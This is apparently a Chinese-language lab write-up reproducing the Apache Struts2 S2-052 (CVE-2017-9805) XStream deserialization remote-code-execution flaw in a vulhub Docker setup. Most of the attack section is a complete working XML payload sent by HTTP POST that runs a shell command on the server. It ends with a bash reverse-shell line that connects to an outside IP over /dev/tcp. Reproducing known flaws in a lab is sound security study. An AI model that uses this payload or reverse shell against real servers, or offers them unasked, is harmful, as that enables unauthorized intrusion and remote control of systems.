前言
struts2应用已是千疮百孔, 最近突发奇想想研究一下相关原理和利用情况。s2-052漏洞由lgtm.com的安全研究员汇报,编号为CVE-2017-9805,是一个远程命令执行漏洞,漏洞危害程度为高危(Critical)。当用户使用带有 XStream 程序的 Struts REST 插件来处理 XML payloads 时,可能会遭到远程代码执行攻击。
影响版本:Struts 2.5.12 版本,百度说还影响到 2.3.33 版本。
1.环境搭建
本次复现采用ubuntu系统,利用docker部署环境。以下来探讨以下在环境部署和过程中遇到的问题。
具体内容请查看以下连接,需要注意的是Linux的docker与docker-compose的不同。
https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
请执行以下命令搭建靶场环境
apt install git docker.io docker-compose
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-052/
docker-compose build
docker-compose up -d
注意:
在执行最后一步时可能会报错:Failed to start docker.service: Unit docker.service is masked.
解决方法:
systemctl unmask docker.service
systemctl unmask docker.socket
systemctl start docker.service
2.s2-052复现
根据第一步的操作检查环境是否成功部署,访问环境相关地址,如截图所示。
利用BurpSiute工具将payload发射到目标服务器,详细的POST数据和需要注意的事项请看下面的代码块,
POST /orders HTTP/1.1
Host: 192.168.204.142:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/xml # 数据包头需要添加这个字段
Content-Length: 2414
Cookie: JSESSIONID=CF855BF35B5C60451837EEC2B4830419
Connection: close
Upgrade-Insecure-Requests: 1
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string> # 执行命令
<string>/tmp/s2-052test.txt</string> # 执行命令
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
http包头信息
将需要执行的命令添加到command字段
检查服务端结果
3.POC研究
在实验期间尝试执行其他命令,但好像该漏洞没有回显,在进一步深入后发现在执行的命令标签不能随意填写。
<command>
<string>touch</string>
<string>/tmp/s2-052test.txt</string>
</command>
尝试执行命令反弹shell。
<string>bash</string>
<string>-c</string>
<string>bash -i >&/dev/tcp/192.168.204.135/10101 0>&1</string>